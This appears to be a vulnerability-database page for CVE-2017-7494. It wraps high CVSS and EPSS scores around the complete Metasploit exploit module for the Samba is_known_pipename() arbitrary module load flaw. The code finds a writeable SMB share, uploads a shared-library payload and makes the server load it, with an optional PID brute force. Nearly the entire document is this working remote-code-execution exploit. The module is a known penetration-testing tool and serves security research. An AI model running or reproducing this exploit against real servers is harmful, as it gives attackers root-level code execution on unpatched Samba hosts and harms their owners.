9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.973 High
EPSS
Percentile
99.8%
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
'Description' => %q{
This module triggers an arbitrary shared library load vulnerability
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
requires valid credentials, a writeable folder in an accessible share,
and knowledge of the server-side path of the writeable folder. In
some cases, anonymous access combined with common filesystem locations
can be used to automatically exploit this vulnerability.
},
'Author' =>
[
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery
'hdm', # Metasploit Module
'Brendan Coles <bcoles[at]gmail.com>', # Check logic
'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7494' ],
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
],
'Payload' =>
{
'Space' => 9000,
'DisableNops' => true
},
'Platform' => 'linux',
#
# Targets are currently limited by platforms with ELF-SO payload wrappers
#
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
#
# Not ready yet
# [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
# [ 'Linux MIPS', { 'Arch' => MIPS } ],
],
'Privileged' => true,
'DisclosureDate' => 'Mar 24 2017',
'DefaultTarget' => 1))
register_options(
[
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
])
register_advanced_options(
[
OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
])
end
def generate_common_locations
candidates = []
if datastore['SMB_SHARE_BASE'].to_s.length > 0
candidates << datastore['SMB_SHARE_BASE']
end
%W{ /volume1 /volume2 /volume3 /volume4
/shared /mnt /mnt/usb /media /mnt/media
/var/samba /tmp /home /home/shared
}.each do |base_name|
candidates << base_name
candidates << [base_name, @share]
candidates << [base_name, @share.downcase]
candidates << [base_name, @share.upcase]
candidates << [base_name, @share.capitalize]
candidates << [base_name, @share.gsub(" ", "_")]
end
candidates.uniq
end
def enumerate_directories(share)
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
stuff = self.simple.client.find_first("\\*")
directories = [""]
stuff.each_pair do |entry,entry_attr|
next if %W{. ..}.include?(entry)
next unless entry_attr['type'] == 'D'
directories << entry
end
return directories
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Enum #{share}: #{e}")
return nil
ensure
if self.simple.shares["\\\\#{rhost}\\#{share}"]
self.simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
end
def verify_writeable_directory(share, directory="")
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
random_filename = Rex::Text.rand_text_alpha(5)+".txt"
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << Rex::Text.rand_text_alpha(8)
wfd.close
simple.delete(filename)
return true
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Write #{share}#{filename}: #{e}")
return false
ensure
if self.simple.shares["\\\\#{rhost}\\#{share}"]
self.simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
end
def share_type(val)
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
end
def enumerate_shares_lanman
shares = []
begin
res = self.simple.client.trans(
"\\PIPE\\LANMAN",
(
[0x00].pack('v') +
"WrLeh\x00" +
"B13BWz\x00" +
[0x01, 65406].pack("vv")
))
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Could not enumerate shares via LANMAN")
return []
end
if res.nil?
vprint_error("Could not enumerate shares via LANMAN")
return []
end
lerror, lconv, lentries, lcount = res['Payload'].to_s[
res['Payload'].v['ParamOffset'],
res['Payload'].v['ParamCount']
].unpack("v4")
data = res['Payload'].to_s[
res['Payload'].v['DataOffset'],
res['Payload'].v['DataCount']
]
0.upto(lentries - 1) do |i|
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
stype = data[(i * 20) + 14, 2].unpack('v')[0]
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
scoff -= lconv if lconv != 0
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
shares << [ sname, share_type(stype), scomm]
end
shares
end
def probe_module_path(path, simple_client=self.simple)
begin
simple_client.create_pipe(path)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Probe: #{path}: #{e}")
end
end
def find_writeable_path(share)
subdirs = enumerate_directories(share)
return unless subdirs
if datastore['SMB_FOLDER'].to_s.length > 0
subdirs.unshift(datastore['SMB_FOLDER'])
end
subdirs.each do |subdir|
next unless verify_writeable_directory(share, subdir)
return subdir
end
nil
end
def find_writeable_share_path
@path = nil
share_info = enumerate_shares_lanman
if datastore['SMB_SHARE_NAME'].to_s.length > 0
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
end
share_info.each do |share|
next if share.first.upcase == 'IPC$'
found = find_writeable_path(share.first)
next unless found
@share = share.first
@path = found
break
end
end
def find_writeable
find_writeable_share_path
unless @share && @path
print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
fail_with(Failure::NoTarget, "No matching target")
end
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
end
def upload_payload
begin
self.simple.connect("\\\\#{rhost}\\#{@share}")
random_filename = Rex::Text.rand_text_alpha(8)+".so"
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
)
wfd.close
@payload_name = random_filename
return true
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("Write #{@share}#{filename}: #{e}")
return false
ensure
if self.simple.shares["\\\\#{rhost}\\#{@share}"]
self.simple.disconnect("\\\\#{rhost}\\#{@share}")
end
end
end
def find_payload
# Reconnect to IPC$
simple.connect("\\\\#{rhost}\\IPC$")
# Look for common paths first, since they can be a lot quicker than hunting PIDs
print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
generate_common_locations.each do |location|
target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
print_status("Trying location #{target}...")
probe_module_path(target)
end
# Exit early if we already have a session
return if session_created?
return unless datastore['BruteforcePID']
# XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
# to non-root, but their /proc/pid directories are still owned by root. Trying to
# read the /proc/other-pid/cwd/target.so results in permission denied. There is a
# good chance that this still works on some embedded systems and odd-ball Linux.
# Use the PID hunting strategy devised by Tavis Ormandy
print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")
# Configure the main connection to have a working directory of the file share
simple.connect("\\\\#{rhost}\\#{@share}")
# Use a second connection to brute force the PID of the first connection
probe_conn = connect(false)
smb_login(probe_conn)
probe_conn.connect("\\\\#{rhost}\\#{@share}")
probe_conn.connect("\\\\#{rhost}\\IPC$")
# Run from 2 to MAX_PID (ushort) trying to read the other process CWD
2.upto(32768) do |pid|
# Look for the PID associated with our main SMB connection
target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
vprint_status("Trying PID with target path #{target}...")
probe_module_path(target, probe_conn)
# Keep our main connection alive
if pid % 1000 == 0
self.simple.client.find_first("\\*")
end
end
end
def check
res = smb_fingerprint
unless res['native_lm'] =~ /Samba ([\d\.]+)/
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
return CheckCode::Safe
end
samba_version = Gem::Version.new($1.gsub(/\.$/, ''))
vprint_status("Samba version identified as #{samba_version.to_s}")
if samba_version < Gem::Version.new('3.5.0')
return CheckCode::Safe
end
# Patched in 4.4.14
if samba_version < Gem::Version.new('4.5.0') &&
samba_version >= Gem::Version.new('4.4.14')
return CheckCode::Safe
end
# Patched in 4.5.10
if samba_version > Gem::Version.new('4.5.0') &&
samba_version < Gem::Version.new('4.6.0') &&
samba_version >= Gem::Version.new('4.5.10')
return CheckCode::Safe
end
# Patched in 4.6.4
if samba_version >= Gem::Version.new('4.6.4')
return CheckCode::Safe
end
connect
smb_login
find_writeable_share_path
disconnect
if @share.to_s.length == 0
print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
return CheckCode::Detected
end
print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
return CheckCode::Appears
end
def exploit
# Setup SMB
connect
smb_login
# Find a writeable share
find_writeable
# Upload the shared library payload
upload_payload
# Find and execute the payload from the share
begin
find_payload
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
end
# Cleanup the payload
begin
simple.connect("\\\\#{rhost}\\#{@share}")
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
simple.delete(uploaded_path)
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
end
# Shutdown
disconnect
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.973 High
EPSS
Percentile
99.8%